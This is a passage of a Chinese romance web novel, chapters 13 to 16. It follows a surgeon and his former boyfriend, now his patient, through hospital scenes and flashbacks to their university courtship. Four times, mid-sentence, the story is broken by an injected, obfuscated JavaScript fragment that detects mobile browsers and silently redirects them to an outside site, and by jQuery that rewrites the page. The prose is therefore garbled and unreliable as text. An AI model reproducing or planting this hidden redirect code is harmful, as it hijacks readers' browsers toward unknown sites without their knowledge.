韩翊行昨夜就留宿在这间病房,他都了如指掌。 离开病房后,几个实习生在后面嘀嘀咕咕。 “杨子轩的小叔叔好帅!” “是吧,我也觉得,个子高身材好,就像小说里的霸道总裁。” “你们有没有觉得这两天小叔叔出现的频率有点高?” “好像是,杨子轩住院快一个月了,我好像就见他来过两次。” “我看呀,他可不是来看杨子轩的,你没看坐言叙床边呢吗?” “我就觉得他看言叙的眼神不太对劲。” 叶成也上来凑热闹:“我觉得他俩挺配的,言叙看着对他也有意思。” 韩翊行突然停下脚步,几个实习生紧急刹车,差点撞到韩翊行身上。 “韩老师?” 韩翊行面无表情地说:“谁的缝合技术比较好?” 今天韩翊行手术排得多,实习生以为老师要带他们上手术给病人做缝合,纷纷踊跃举手。 韩翊行目光扫了他们一眼,用手中的病案夹指了指叶成。 叶成高兴得差点跳起来,韩老师原来这么欣赏他! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305482|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只听韩翊行冷冷道:“把他的嘴缝起来。” 叶成顿时蔫了。 为什么呀?刚才的八卦又不是他起的头,他也就只是插了一句而已。 韩翊行今天的手术排得比之前都要满,手术的间隙来给言叙换药。 杨屿安跟失业了似的,还赖在病房里不走。 给言叙洗了苹果,言叙说要去洗洗手,杨屿安说他去把毛巾涮一把给他擦手。 在言叙的强烈要求下,杨屿安没给言叙擦手,言叙自己擦的。 韩翊行进来冷冷地说:“在三院做护工需要跟行政报备。” 杨屿安笑笑不说话。 韩翊行给言叙换完药出来的时候,杨屿安用极低的声音问:“韩大夫,请问下,照顾暗恋对象,需要跟行政报备吗?” 韩翊行拳头瞬间握得死紧,手背上的青筋都暴起来了。 做完好几台手术,韩翊行肉眼可见的疲惫,心情似乎也不怎么好,眉心蹙着。 杨屿安下午公司有事赶回去了。 晚上睡觉前,韩翊行要用湿毛巾给言叙擦脸。 言叙有些手足无措,他知道韩翊行工作一天已经很累了,不想再给他增添负担。 “我自己去洗脸就行。” 韩翊行冷冰冰地说:“我洗的毛巾不如杨总洗得好是吧?” 言叙:...... 他心里十分苦恼,还不如没有人照顾他呢! 言叙想说他自己擦就行,斟酌半天还是没敢开口。 于是任由韩翊行给他擦了脸,擦了脖子。 “扣子解开。”韩翊行命令道。 “啊?”言叙有点惊讶,原以为韩翊行只是要给他擦脸,没想到还要给他擦身体。 言叙迟疑了几秒钟,最终还是顺从地解开了病号服的上衣扣子。 白皙细腻的胸前,几道狰狞可怖的疤痕显得尤为刺眼。 言叙心中还在纠结,如果韩翊行问这些伤疤是怎么来的,他要怎么回答。 没想到,韩翊行只是将湿热的毛巾覆在他胸前的皮肤上,细心地擦拭,一句话也没说。 言叙咬了咬嘴唇,试探着问:“下午换完药杨总跟你说什么了?” 韩翊行掀起眼皮看着他,目光中是意味不明的情绪。 “对他这么感兴趣?”韩翊行语尾上挑,有些不悦。 言叙有些紧张地笑笑:“没有,就随便问问。” “他说你事儿多难伺候。”韩翊行懒懒说。 毛巾擦到言叙的细腰,言叙痒得瑟缩了一下。 言叙一听这话就知道韩翊行是在逗他,他笑着问:“那韩大夫怎么说?” 韩翊行斜了他一眼,面无表情地说:“Doctor Han。” 言叙反应了两秒才反应过来这人在讲冷笑话,没忍住笑了起来,伤口一疼,又嘶地抽凉气。 韩翊行把毛巾扔盆里浸湿,搓了几把又拧半干。 “趴着。”韩翊行说。 言叙知道韩翊行要给他擦背了。 言叙翻身趴下,拿起手机说道:“你就不怕我微信上找杨总对峙?” 韩翊行拿毛巾的手顿了一下,阴阳怪气地说:“随便,反正我又没微信。” 言叙:...... 14. 第14章 言叙大学时加了韩翊行微信,分开后之前那个微信号不用了。 他现在用的这个是后来才注册的。 他没加韩翊行,甚至没加大学里认识的任何人。 韩翊行刚才阴阳的意味他看得很清楚,只是心里在想,有没有必要加回来。 等他出院后,大概就再无交集的前男友,要不要加回微信。 韩翊行把毛巾扔水盆里,起身端着水盆去了洗手间,宣告了话题的终结。 洗漱完再回病房的时候,杨子轩正在跟言叙聊他小叔叔。 说他小叔叔才32岁,已经获得宁城十大最杰出企业家称号了,大学毕业后自己创业,没靠家里的资源,白手起家,可厉害了。 最重要的是,不像有些人有点钱就开始乱来,他小叔叔始终洁身自好,从来没闹出过什么花边新闻。 言叙边听边点头,时不时礼貌地夸赞一句:“很厉害。” 韩翊行走到杨子轩床边,说:“你已经好了,明天就去办出院。” 杨子轩惊道:“你前天还说我能再住一个星期的!” 韩翊行冷冰冰地说:“现在床位紧张,你上星期就已经可以出院了,不要浪费医疗资源。” 杨子轩苦着一张脸看向言叙。 言叙安慰道:“出院多好啊,我巴不得能早点出院呢。” 韩翊行不小心踢到了折叠床的腿,发出嘎吱嘎吱的声音。 杨子轩说:“言哥,我出院后能来看你吗?” 言叙说:“谁没事总往医院跑啊,等过几天我出院了,咱们可以约着一起吃个饭。” 言叙,杨子轩和沈暮,第一天晚上就互加了微信。 “好啊好啊!”杨子轩又转向韩翊行,“韩大夫,我能加你微信吗?” 韩翊行走过来,“手机拿过来。” 杨子轩高高兴兴地把解了锁的手机递过去。 韩翊行在手机上点了几下,递还给杨子轩。 杨子轩看到屏幕后,笑容僵在脸上,韩翊行给他加的是宁城第三医院的微信公众号。 杨子轩撇撇嘴,“韩大夫,我出院以后要是还不舒服怎么办?要不你给我留个电话号码?” 韩翊行说:“120。” 杨子轩唉声叹气半天。 韩翊行收拾好了躺在折叠床上。 杨子轩戴好眼罩还不死心,问了句:“韩大夫,你真的已经有儿子了吗?” 空气顿时陷入安静,言叙屏住呼吸。 韩翊行朝言叙的方向看了一眼,淡声说:“有。” 言叙的心脏停跳了一拍。 “那孩子妈妈呢?”杨子轩接着问。 韩翊行冷冷说:“睡觉。” 言叙这晚怎么都睡不着。 第二天早晨换药,原本是像往常一样安静且默契。 换完药穿好衣服,韩翊行整理药瓶、镊子、棉球等用品。 言叙欲言又止,最终还是状似随意地问了句:“你儿子几岁了?” 韩翊行撩起眼皮看了他一眼,脸上没什么表情,淡淡道:“马上8岁了。” 说完,便离开卫生间,回更衣室换衣服去了,今天又是忙碌的一天。 言叙却怔在原地,半天动弹不得。 这句话对言叙来说,无异于五雷轰顶。 他离开7年,韩翊行的孩子都快8岁了。 他本来还对自己当年不告而别对韩翊行心怀愧疚,可谁能想到,在他自以为和韩翊行浓情蜜意的时候,他已经被绿了至少一年之久? 就像有一团棉花堵在胸口,言叙觉得憋闷,呼吸困难。 韩翊行来查房的时候,他给言叙买的早餐还在桌上放着,一动没动。 杨子轩家的保姆已经在大包小包地收拾他的东西了。 住了一个月的院,出院跟搬家似的。 杨子轩坐在言叙床边,跟他贴贴:“言哥,我好舍不得你啊。” 言叙说:“等我出院了找你玩。” 主任笑着说:“小杨啊,以后可千万别再义气用事跟人打赌了,多危险啊。” 杨子轩悻悻道:“我知道了主任。” 主任又笑着对言叙说:“小言,昨天晚上没睡好吗?” 言叙顶着大黑眼圈,问道:“主任,我今天可以出院吗?” “今天是第......”主任转向韩翊行,“第几天了?” 韩翊行说:“第三天。” 主任对言叙说:“还早呢,不着急出院。” 言叙问:“那我什么时候可以出院?” 主任说:“这个要问你的主治医生了,小韩,你一会儿跟小言说说他的病情,看什么时候出院合适。” “知道了主任。” 韩翊行随着查房的大部队出去了,临走前回头看了言叙一眼,言叙冷淡地移开目光,不想跟他有任何视线接触。 中午,韩翊行来给他换药,言叙不耐烦道:“我自己可以换,不劳烦韩大夫大驾。” 说完,自己一个人去了卫生间。 韩翊行去拉他手臂,被言叙狠狠甩开,然后就是关门上锁的声音。 韩翊行站在门口,叹了口气。 晚上,韩翊行去言叙病房的时候,看到门外靠墙的位置放着他的折叠床。 韩翊行差点笑出声。 想不到言叙居然能拖着残破的身躯把这玩意儿搬出来。 他走进病房,言叙和沈暮不知道在说什么。 见他进来,言叙翻了个身朝墙那侧躺着,只留给他一个倔强的背影。 韩翊行干咳两声,走到言叙床边,低声说:“我今晚值大夜,有事给我打电话。” 意料之中的没有收到任何回应。 韩翊行把一个手提袋放到病床内侧,悄步走出了病房。 病房门被关上,沈暮探着头好奇地问:“韩大夫把什么东西放那了?” 言叙半撑起上身,摇摇头,“不知道。” 他费力坐起来,拿过手提袋,底朝天把里边的东西倒出来。 “是衣服?”沈暮道。 确实是衣服,一件灰色连帽卫衣,一条黑色运动长裤。 洗得有些发白,但是言叙一眼就认出,这是他自己的衣服。 是10年前第一次见韩翊行的时候,他穿的、被韩翊行不小心挤了满身耦合剂的那套。 想不到这么多年过去了他居然还留着,而且保存完好。 - 吃完变态辣火锅之后,韩翊行得了急性肠胃炎,言叙也因为吃了茄子而过敏起小红疹。 言叙陪韩翊行输了三天液,韩翊行给言叙涂了3天药膏。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305483|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >后来有一段时间没有联系。 一天晚上,言叙室友过生日,在校外订了饭店庆祝。 玩真心话大冒险输了,言叙选了大冒险。 抽签的任务是:去隔壁桌“要饭”,并坐在对方腿上让对方喂你吃。 在同学的起哄声中,言叙硬着头皮站起来,去寻找要饭的目标。 言叙看到了韩翊行。 韩翊行那桌有六个男生,其中一个男生旁边坐了个女生。 言叙走过去打了个招呼:“hi,大家好。” 旁人看他的目光多是惊诧不解,韩翊行的眼中却是温和的注视,和饶有兴味的探究欲。 言叙开始了他的表演:“各位大哥,我的钱被人偷了,我已经3天没吃饭了,能不能行行好,赏我口吃的?” 桌上众人也是身经百战,一看这是个白白净净的小学弟,再加上旁边那桌所有人都在看他,脸上还带着看热闹不嫌事大的笑容,便知道是怎么回事了。 旁边坐了女孩的那个男生说:“你看你喜欢吃哪个,随便吃。” 言叙求助的目光投向韩翊行:“学长,我的手受伤了拿不了筷子,你能喂我吗?” 桌上爆发出一阵哄笑,“翊行,快点给孩子喂点饭吧,别把孩子饿坏了。” 韩翊行拆了双新筷子,是棕色的竹筷,他之前用的是黑筷子。 韩翊行用筷子指了指飘着红油的冒菜,询问地看向言叙:“喜欢吗?” 言叙点点头。 韩翊行夹了块香菇,递到言叙面前。 韩翊行手指修长,很有骨感,拿筷子的姿势很好看。衣袖卷到臂弯处,露出的一截小臂光滑白皙,肌肉线条流畅。 言叙抿抿嘴唇,咬牙道:“学长,我的腿也不舒服,能坐你腿上吗?” 话音刚落,众人爆发出更热烈的哄闹。 “坐腿,坐腿!”几个人边拍手边起哄。 韩翊行脸色稍变,言叙敏锐地从中读出了一丝不悦。 顿了两秒,韩翊行仍是把椅子往后推了推,身前留出些空间。 他拍拍自己的大腿,目光示意言叙。 言叙迟疑了片刻,担心韩翊行心里不快但在众人面前不方便拒绝他。 正犹豫不决之际,只听韩翊行沉声说:“坐上来。” 言叙心一横,心想早死早超生,坐在韩翊行腿上时,仍是忍不住呼吸顿了顿。 一股淡淡的岩兰草清香将他包裹,言叙有片刻失神。 “学弟,张嘴。”耳边是韩翊行低哑的声音,吐出的热气扑过来,让言叙觉得右侧耳边快要烧起来。 言叙张嘴含住筷子尖,把那块香菇抿到嘴里,逃也似的回到自己桌上,急促地喘着气。 两边都是此起彼伏的起哄声,言叙却觉得自己心跳声格外吵闹。 手机弹出一条微信消息,言叙打开,是韩翊行发来的。 学长:【如果不是我,也会坐别人腿上?】 言叙猛然回头去看韩翊行,却正好撞进韩翊行探究的视线里。 只见韩翊行手里拿着刚才喂过他的那双棕色竹筷,夹了一口菜放进嘴里,咀嚼的动作十分缓慢,目光始终落在他身上。 言叙感觉心脏似乎被人不轻不重地捏了一下。 他记得,那天他穿的好像也是这套卫衣和运动裤。 15. 第15章 言叙睡得不太安稳,不知睡了多久,迷迷糊糊间感觉有人推门进来,动作很轻,脚步声也很轻。 他朝内侧躺着,没有动。 那人在他身后站了一会儿,给他掖了掖被角,微不可察地叹了口气,然后悄声出去了。 言叙翻过身来,室内亮如白昼,门被轻轻关上,沈暮摘下眼罩,对言叙笑了笑。 “吵到你了?”言叙轻声问。 沈暮摇摇头,“我本来也睡不着。” 安静半晌,沈暮突然问:“小言,你跟韩大夫,你们是不是......是不是一对儿?” 言叙惊讶了片刻,问:“他跟你说的?” “没有,”沈暮笑着摇头否认,“挺明显的。” 言叙默了默,有些失神地说:“以前是,现在已经不是了。” 沈暮叹了口气,说:“挺可惜的,韩大夫是很好的一个人,你们挺合适的。” “他只是对你好而已,”言叙闷声道,“对别的病人,也就只是当成工作而已。” 沈暮失笑:“对你不好吗?” 言叙无言以对。 韩翊行对他的好,是一如继往的,哪怕是被自己甩了、被卷走20万、七年后再次相遇,对自己依然是细心地呵护和关照,这一点,言叙没法否认。 不过,分开七年,韩翊行能搞出8岁大的儿子,这一点,对于曾经全身心投入到那段感情里的言叙来说,是没有办法释然的,哪怕他们已经分手。 第二天言叙起得很早,自己洗漱好,换完药,裹上羽绒服去楼下买早餐。 沈暮也睡不着,跟他一起出去了。 食堂有桌椅,沈暮坐着,言叙站着,俩人吃完早餐又在楼下溜达了一会儿才往回走。 言叙恢复得不错,走路走慢点,基本上已经不怎么疼了,只是坐着的时候还会疼。 所以他平常尽量只是侧躺着或者站着。 慢悠悠回到病房那一层,医生护士们忙碌的一天又开始了。 言叙看到查房大部队进了隔壁病房,浩浩荡荡一大群人。 他脚步停在门口,从一大群人中轻易辨认出了韩翊行的背影。 韩翊行身形高大,在人群中很出众,穿了白大褂,肩膀宽阔平直,黑色西装裤垂坠感很好,衬得双腿又长又直。 言叙知道那双腿多么有力,他之前曾有很多次被困在其中。 毫无征兆地,韩翊行突然回头看过来。 言叙就这样猝不及防地被韩翊行的视线捕捉到,目光相触,言叙像是做了坏事被抓包,条件反射地闪到一旁。 他长长呼了口气,突然觉得一阵没来由的喉咙干涩。 手伸进羽绒服口袋里,碰到一个硬纸盒。 他加快了脚步,朝走廊尽头的露台处走过去。 露台和楼道隔着一道玻璃门,病房里不让吸烟,所以需要吸烟的人都会来这个露台。 言叙还没推门,就听到里面有人的交谈声传出来,他顿在原地。 A:“韩大夫?我呸!这么年轻就能升副高,你以为这个职称怎么来的?” B:“怎么来的?” C:“我听说姓韩的跟院长家闺女走得近,恐怕是要攀高枝抱院长大腿吧,给院长当女婿,升得能不快吗?” A:“要只是给院长当女婿,那还不算稀奇呢。” B:“怎么?还有更稀奇的?” A压低声音:“你们不知道吧,这姓韩的,目标根本就不是院长女儿。” C:“那是谁?” A:“当然是院长本人了!我好多次看到韩半夜从院长办公室出来。” B:“你是说,他半夜让院长给他看论文了?” A:“哈哈,你傻呀,半夜去院长办公室,当然是让院长玩P股了......” “哈哈哈哈哈——” “你们闭嘴!”言叙再也听不下去了,一脚踹开门,把那几个人吓得愣住了。 闯进来的这人虽然看起来身形单薄,但目光中的狠厉像是下一秒就把他们捅死。 “你......你有事吗?” 言叙厉声说:“你们说的这些污言秽语脏了我的耳朵!韩大夫能升职,是因为他学历高能力强,他绝对不会,也不屑于用那些肮脏的手段!” “说得好像你跟姓韩的很熟?”其中一人斜眼看着他,目光有挑衅意味。 言叙义正辞严道:“我认识他十年了,他行得端坐得正,人品好医德高,你们是自己脏,所以看什么都是脏的。” 一人说:“那你能拿我们怎么样?” 言叙举起手机,“你们刚才说的,我已经录下来了,信不信我现在就拨110,你们要是拿不出证据,就是恶意诽谤中伤,够你们判三年的了。” “你.......你别冲动,我们刚才就是随口那么一说,没有恶意。” “还不快滚!”言叙眼睛通红,怒斥一声,几个人吓得争先恐后地挤出门去。 言叙胸腔剧烈起伏,他刚才一通发作,肾上腺素飙升,现在冷风一吹,有点虚。 他烦躁地拿出一根烟,拿打火机点着,吸了两口,重重吐出一口烟雾,趴在栏杆上,眺望着这座城市阴霾密布的天空。 门突然被推开,言叙猝然回头,只见韩翊行迤迤然走了过来。 他没穿白大褂,穿了件深灰色长款羊绒大衣,慵懒从容,像T台上光芒万丈的模特。 言叙几乎是下意识地把烟藏到身后,就好像他是初中生偷着抽烟被年级主任抓住一样。 他有些呆愣愣地看着韩翊行,一时没反应过来现在是什么情况。 “抽吧,没事儿,”韩翊行轻笑一声,走到言叙旁边,两人隔着小半米,也倚着栏杆往远处看。 刚才那几个人说的,不知道韩翊行听到没有,想来,任何人听到别人对自己的恶语中伤都不会好受,言叙希望韩翊行没有听到。 言叙迟疑片刻,还是决定把烟掐了。 露台有烟灰缸,杂乱地躺着一层烟头。 言叙把烟燃着的一头抵在烟灰缸底部,刚要用力,手突然被韩翊行拦了一下。 温热的触感让言叙不由得一颤,指尖的烟被韩翊行夹了去。 “别浪费了。”韩翊行食指和中指夹着烟,看起来动作很生疏,放到唇间吸了一口,烟尾的猩红便顺着白色的烟身攀沿而上。 韩翊行呛得咳了几声,眼睛里咳出了生理性泪水,但眼眸中依然盛满笑意:“有点冲。” 言叙把目光从韩翊行身上移开,冷淡地说:“你不用上班吗?” 韩翊行把烟捻灭,扔进烟灰缸里,说道:“查完房就下班了,我昨晚值大夜,今天白天可以休息。” 言叙把两手的手腕搭在栏杆上,右手拇指在左手食指上摩挲:“0人在意。” 韩翊行笑出声,右手手肘抵在栏杆上,托着下巴歪着头,弯起唇角看向他。 “我记得你以前好像不抽烟。” 言叙睨了他一眼,随即撇开目光。 “我还记得你以前不是渣男呢。”言叙气鼓鼓地说。 韩翊行笑得很大声,他实在忍不住,言叙被他笑得有点毛,狠狠瞪他一眼。 半晌才止住笑意,韩翊行向言叙那边挪了半步,用手肘撞了撞他的胳膊。 “哎,刚才不是还说我人品好医德高呢,怎么突然就成渣男了?我这心理落差有点大啊。” 言叙怔住,原来他刚才都听到了。 他咬着嘴唇,有些懊恼,他感觉自己刚才是人格分裂了才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305484|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在别人面前维护这个渣男。 言叙转身要走,却被韩翊行拉住胳膊,“干吗去?” “要你管!”言叙想甩开他的手,奈何韩翊行握得很紧,他怎么都甩不开。 拉拉扯扯不像样,露台是公共区域,随时都会有人来,被人看到影响不好。 言叙放弃挣扎,冷着脸说:“你到底要干什么?” 韩翊行说:“别走,给你看样东西。” “什么东西?” “我儿子的照片。”韩翊行掏手机,解锁,打开相册。 言叙一听就气不打一处来,“谁要看你儿子!” 他狠狠地甩开了韩翊行的手,去拉露台的门。 韩翊行一闪身挡住了门,和言叙面对面站着。 言叙压抑隐忍地吐了口气,刚要发作,只见韩翊行把手机屏幕怼在了他的眼前。 照片上是一只大猫。 典型的奶牛猫长相,像披了件黑色的大袍子,眼睛周围是黑的,鼻梁和嘴是白的,却长了个黑鼻头。胸前有白围巾,脚上有白袜子。 懒洋洋地趴着,眼睛眯起来,两条前腿直直向前伸着,像是在秀大长腿。 “这是.....”言叙呼吸陡然变得粗重,声音也微微有些颤抖,“这是奥利奥?” 韩翊行颇有微词:“你生的都不记得了?” 我生的......言叙细细咀嚼过这几个字。 大四那年,言叙有一次着凉呕吐,韩翊行忧心忡忡,要带他去医院。 言叙说:“不用担心,只是怀孕了而已。” 韩翊行哭笑不得。 后来又有一次,韩翊行在写博士毕业论文,言叙在一旁游手好闲,非要摸韩翊行的腹肌。 韩翊行把他不老实的手推到一边:“摸你自己的去。” 言叙哼一声,“摸就摸。”说完,在韩翊行旁边躺下,翘着腿,盯着天花板。 他安静下来了,韩翊行不知道为什么写不下去了。 他开玩笑说:“你光摸我了,让我也摸摸你。”说着,便把手掌贴到言叙肚子上。 贴了一会儿没动,言叙问:“怎么样?”他说的是自己的腹肌。 韩翊行突然把手拿开,仿佛受了惊吓,指着言叙的肚子说:“他踢我!” 言叙给笑得在床上捂着肚子打滚儿。 没几天,韩翊行抱回一只两个月的小猫,用小毯裹着,只露出一个毛绒绒的小脑袋。 彼时言叙正翘着腿在床上躺着。 韩翊行把小猫抱到言叙床前给他看,笑着说:“恭喜言先生,生了生了,是个奶牛的!” 那时候小猫才不过两个月大,小小的一只。 言叙看它翻着肚皮的时候是黑白黑的颜色,于是给它取名奥利奥。 几个月后,言叙不辞而别,奥利奥也不过是只半大猫,才有五六斤。 如今,奥利奥已经快8岁了,有15斤了,往那一趴,就是一辆半挂。 “这......它就是你儿子?”言叙难以置信。 “也是你儿子。”韩翊行说。 言叙心情复杂。 一方面,得知韩翊行之前故意逗他,有气愤,也有隐隐的庆幸。 另一方面,他看到奥利奥是真的很惊喜,当年那个他一只手就能抓四条腿的小家伙,被韩翊行养得很好,都长这么大了。 “还有照片吗?”言叙迫不及待问。 韩翊行收回手机屏幕,漫不经心道:“还有1000多张。” 言叙抿了下嘴唇,期待的目光落在韩翊行握着的手机上面。 却只见韩翊行随意地把手机揣进大衣口袋里,散漫道:“加我微信,我发给你。” 说完,转身拉开玻璃门,扬长而去。 16. 第16章 言叙无端感觉自己像一个离异后被前夫以孩子为筹码拿捏住的母亲。 他自然知道用手机号可以加到韩翊行的微信。 就算手机里没存,他也能一字不差地背出韩翊行的手机号。 加微信对他来说可以说是再容易不过的事情。 可是,加完之后呢? 还能删掉吗? 他怕自己会越来越贪心,越来越舍不得。 那种仿佛是将自己心脏生生拉扯出来再亲手撕碎的痛楚,他不想再经历第二次了。 韩翊行第二天早晨从医院值班室的床上醒来后,拿起微信看了一眼,并没有新的好友添加申请。 他打开微博搜索:微信崩了。 实时那一栏最新的发言还是一个月以前。 查完房,韩翊行要张博去二院参加一个病例分享会。 原本打算跟言叙说一声,他下午就能回来,有什么事随时给他打电话。 可是一想到昨天他都把话说那么明白了,言叙还是没加他微信。 之前加杨屿安微信怎么就那么痛快? 还主动扫杨屿安的二维码! 分享会还未正式开始,韩翊行坐在听众席,气压很低。 张博碰了碰他的胳膊:“沈暮那个案例,明年差不多就能分享了吧?” 韩翊行点点头,没什么语气起伏地说:“目前新细胞增殖速度很快,癌细胞被吞噬了超过五分之一了。” “厉害啊老韩,”张博由衷称赞,“到时候,别说宁城,全世界医学届都得震惊了。” 韩翊行表情淡淡的,似乎对功成名就不太感兴趣。 “哎,言叙那边怎么样?” 韩翊行说:“传统外剥内扎术,定时换药,创面无感染,目前还有少量出血,但出血量在正常范围内。” “谁问你这个了,”张博自己每天也做不少这种类型的手术,对肛肠科医生来说,这都是最简单的。 “我是问,你们俩的事,有什么进展吗?” 韩翊行第100次打开微信再关掉,有些烦躁地说:“不知道。” 张博凑近了点儿,压低声音说:“住院有一个星期了吧,没人来看过吧,我看呀,你那个假想敌根本就不存在。” 韩翊行沉默。 如果言叙没有跟别人在一起,而且韩翊行能明显感觉到言叙是在意他的。 看到韩翊行手腕上的疤痕时的惊惶与担忧。 听说韩翊行有8岁儿子时气成那样。 听到有人诋毁他时又奋不顾身维护他。 他想不明白,一边在乎,一边又排斥,到底是为什么呢? 跟他当年不告而别有关系吗? 见韩翊行不说话,张博又问:“话说,你们当年谁追的谁啊?” 谁追的谁? 不太好说。 那次吃饭遇到言叙玩大冒险输了,韩翊行配合他完成了任务。 后来,韩翊行微信问他:如果不是我,也会坐别人腿上? 言叙给他回的是:学长,你们刚才进来的时候我就看见你了。 所以,言叙是知道他在这,才会去做那个大冒险任务。 这个认知,让韩翊行的心脏重重跳了一下。 那天吃饭,是高峰介绍女朋友给他们认识。 他们有个不成文的规矩,脱单了要请吃饭。 那时候他们研一,除了平时上课,已经有项目在做了。 饭吃完了没接着闹,都各忙各的去了。 言叙他们这边不一样,刚上大一,刚从高三的禁锢中解放出来不久,能玩能闹。 吃饭时喝了不少酒,吃完饭又去唱歌。 一直到晚上十点多,几个人才晃晃悠悠从KTV里出来,路都快走不稳了。 “言叙。”韩翊行在旁边叫了他一声。 言叙循声望过去,见到韩翊行,漫天星光落在他眼中,黑葡萄似的瞳仁中漾出惊喜。 “学长!”言叙跑了过去,一身酒气,弯着眼睛冲他笑。 “还认识我?”韩翊行不咸不淡地问。 言叙笑着偏头反问:“我看起来像鱼吗?” 传说鱼只有七秒的记忆,经历过的事转头就忘。 路灯的暖光洒在言叙蓬松柔软的头发上,韩翊行克制住了想揉一把的冲动。 韩翊行笑笑,说:“走吧,我送你回去。” 两个人并肩的身影被路灯拉得很长很长。 “这么晚回去,女朋友不会担心吗?”韩翊行漫不经心地随口一问。 言叙没有回答,却是反问道:“你担心我吗?” 韩翊行顿了一下,“为什么会这么问?” 言叙似乎酒劲有些上头了,他眼尾红红的,眼神有些迷离。 “那学长为什么要送我?” KTV虽说在校外,也仅仅就在学校对面,只隔着一条马路的距离。 言叙一个大男生,能出什么事。 即便遇到什么情况,嚎一嗓子学校的保安也能听见立马赶过来。 言叙眼睛里盛着笑意,目光一错不眨地直直盯着韩翊行的眼睛。 韩翊行不知道怎么回答,错开目光不与他对视。 言叙倒是反客为主了,“那学长这么晚了来送我一个外人,女朋友不会生气吗?” “你......”韩翊行闪烁其词,“你不是外人。” 言叙扑哧笑出声。 身后有两个人风驰电掣一般从言叙身边刮过,一人大喊:“快跑啊,要闭寝了!” 言叙一惊,看了下时间,离寝室锁门只剩两分钟了。 本科管得严,每天晚上11点准时锁门,晚了要被上报导员。 “学长,我......” 话音未落,韩翊行温暖宽大的手掌包裹住他的,“快跑!” 言叙愣了0.01秒,回握住韩翊行的手,两人逆风而去。 终于在宿管阿姨刚把锁挂上还没来得及摁上的时候,到达宿舍楼门口。 言叙喘着粗气:“阿姨,等会儿。” 阿姨抱怨了两声,最终还是把锁打开,让言叙进了宿舍。 言叙进去之后,隔着玻璃门对着站在不远处的韩翊行挥了挥手。 第二天下午,韩翊行上完课,发现言叙给他发了微信。 言:【学长,我请你喝饮品吧】 韩翊行推测,言叙这是想谢他昨晚送他回宿舍。 但韩翊行平时其实不怎么爱喝饮料。 H.Y.X:【好啊】 言叙把点餐的单子拍照片发过来。 言:【你想喝哪个?】 韩翊行不知道哪个好喝,随便点了一个。 H.Y.X:【看起来都不错,有点难选】 H.Y.X:【杨枝甘露吧】 言:【杨枝甘露没有了】 H.Y.X:【蜜桃乌龙】 言:【叹气.jpg】 言:【学长,你好会点,蜜桃乌龙也卖完了】 韩翊行皱皱眉,心说这孩子是不是不想给他买。 H.Y.X:【多肉葡萄有吗?】 言:【这个有!】 言:【学长你在哪儿呢?】 H.Y.X:【A教前边的雕像】 言叙发了个OK的手势。 大概过了15分钟,言叙呼哧带喘地跑过来,穿着白色T恤,卡其色长裤,跑出一脑门儿汗。 “学长......”言叙呼吸不稳,对韩翊行露出个灿烂的笑容,把手里拎的饮品放到长椅上,手撑着膝盖弯着身子喘气。 “着什么急。”韩翊行看他累成这样,佯嗔道。 言叙喘了几口气,呼吸恢复平稳,拉了下韩翊行的袖子,让他坐在长椅上。 言叙自己也坐下,把袋子里的东西拿出来,一个一个摆在韩翊行面前。 韩翊行有些惊讶:“怎么买了三杯?还有别人吗?” 言叙嘿嘿笑了下:“三杯都是你的。” 韩翊行看了看杯身上的标签:杨枝甘露,蜜桃乌龙,多肉葡萄。 他选的那三杯,言叙都买了。 言叙见他迟疑,笑着说:“你喜欢喝的,我都想买给你。” 韩翊行霍然抬头,对上言叙笑意盈盈的视线。 他声音有些哽:“这么多,我也喝不完。” 言叙说:“没关系,你喝剩下的我来喝,不会浪费的。” 韩翊行从来没有过这种感觉,有人纵着他,喜欢的话不用做抉择,可以全都要。 言叙给他插好吸管,让他每个喝一口,轮流喝,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305485|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到喝不下了。 剩下的,言叙就着韩翊行用过的吸管,都喝掉了。 韩翊行盯着他含着吸管的嫣红唇瓣,有片刻失神。 言叙喝完把空杯子扔进垃圾桶。 韩翊行问:“最近在忙什么?” 言叙苦着脸说:“要期末考试了,老师说整本书都是重点,我要疯了。” 